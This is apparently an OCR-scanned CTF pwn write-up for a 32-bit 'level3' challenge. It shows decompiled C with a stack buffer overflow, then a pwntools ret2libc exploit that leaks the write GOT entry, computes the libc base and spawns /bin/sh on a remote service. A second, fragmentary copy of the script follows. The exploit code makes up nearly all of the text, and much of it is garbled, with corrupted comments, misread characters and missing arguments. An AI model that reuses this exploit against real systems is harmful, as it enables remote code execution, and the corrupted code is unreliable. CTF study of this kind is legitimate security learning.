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int __cdecl main(int argc, const char **argv, const char **envp)

{

vulnerable function();
write(1, "Hello, World!\n", OxEu);
return 0;

}

ssize_t vulnerable_ function()

{
char buf[136]; // [esp+6h] [ebp-88h] BYREF
write(1, "Input:\n", 7u);

return read(@, buf, 256u);
b
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from pwn import *

#HW T FEAFENT R
p=remote('111.200.241.244"',55250)

HIRE AT R
elf=ELF('./level3")

#HIFRLibEXS R
libc = ELF('./libc_32.s0.6")

#IERFH

write_plt=elf.plt[ 'write']
write_got=elf.got[ 'write']
main_addr=elf.sym[ ‘'main’]

#EBWH

p.recvuntil(":\n")

#char[88] ebp write XU write HHEEHL(EEBmain&Et) writeF#Z4—(1) writeFHHS4 —(write_got#hitt) w
rite AHSH=(54F7)
payload=0x88*'a"'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)

p.sendline(payload)

#HFKRwrite fEgot FHIHHE
write_got_addr=u32(p.recv())
print hex(write_got_addr)

#IFHELib T
libc_base=write_got_addr-libc.sym[ ‘write"]
print hex(libc_base)

#ifHsystem bk
system_addr = libc_base+libc.sym[ 'system’]
print hex(system_addr)

#IFEF/E /bin/sh HHAE. 0x15902b KhiE, WHida<: strings -a -t x Libc_32.s0.6 | grep "/bin/sh" #H&
bin_sh_addr = libc_base + ©x15902b
print hex(bin_sh_addr)

#char[88] ebp system systemiR#[HIE FIHkL system K HIZ4t(bin_sh_addr)
payload2=0x88+*"'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)

HEEWCH

p.recvuntil(":\n")

# X &payload
p.sendline(payload2)

#UJBRIE T
p.interactive()
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p=remote(

context(os = ,arch = , Log_level =
1ibc=ELF( )

el f=ELF( )

write_plt_addr=elf.plt[

write_got_addr=elf.got[

main_addr=elf.sym[ ]

payload= * + *4 + p32(write_plt_addr)+p32(main_addr)+p32( ' )+p32(write_got_addr)+p32(~)

p.sendlineafter( ,payload)
write_addr=u32(p.recv("))

log.success( +hex(write_addr))
libc_offset=write_addr - libc.sym[ 1

log. success( +hex(1libc_offset))
sys_addr=1libc_offset+libc.sym[ 1

log.success( +hex(sys_addr))
bin_sh_addr=1ibc_offset+libc.search( ) .next()
log.success( +hex(bin_sh_addr))
payload="'/""*1/0+p32(sys_addr)+p32( )+p32(bin_sh_addr)
p.interactiveDll
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